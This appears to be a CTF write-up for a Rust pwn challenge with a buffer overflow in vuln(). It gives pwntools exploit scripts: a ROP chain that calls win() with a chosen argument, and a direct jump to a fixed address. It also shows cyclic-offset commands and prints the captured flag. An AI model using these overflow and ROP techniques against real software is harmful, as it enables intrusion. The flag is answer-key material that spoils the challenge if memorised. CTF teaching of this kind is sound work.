Stumbled upon Rust recently, still learning the ropes…
You’re given this horrible example of rust code which is just adding as many unsafe C features as it can
| |
The vuln() function reads 0x200 bytes into a buffer of 0x40 size => buffer overflow. And on line 4 you’re given a PATHPOINT which is just the ROP Gadget for pop rdi.
All you have to do is call win() with 0xdeadbeefcafebabe as the function argument, for which you use the given pathchpoint since the rdi reg contains you’re first function argument
# exploit
io = start()
key = 0xdeadbeefcafebabe
win_addr = exe.symbols['win']
log.info(f"{hex(win_addr)=}")
# rop chain
rop = ROP(exe)
rop.call(rop.ret)
rop.call('win', [key])
log.debug('\n' + rop.dump())
# payload
payload = flat({72:rop.chain()})
io.sendlineafter("Say something:\n", payload)
io.interactive()The offset 72 was found by using
❯ pwn cyclic 600
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafto generate a cyclic payload that you send into ./chal and check the value of the overwritten rbp register
You can calculate the offset with
❯ pwn cyclic -l saaa
72FortID{1_D0n'7_Th1nk_Th1s_1s_H0w_Y0u'r3_Supp0s3d_T0_Wr1t3_C0d3_1n_Ru5t}Alternatively you could jump straight to the win condition, without needing to set the function argument. This is possible since there was no PIE and thus addresses were fixed
io = start()
dst_addr = 0x23c4f3
payload = flat({72: dst_addr})
io.sendlineafter("Say something:\n", payload)
io.interactive()
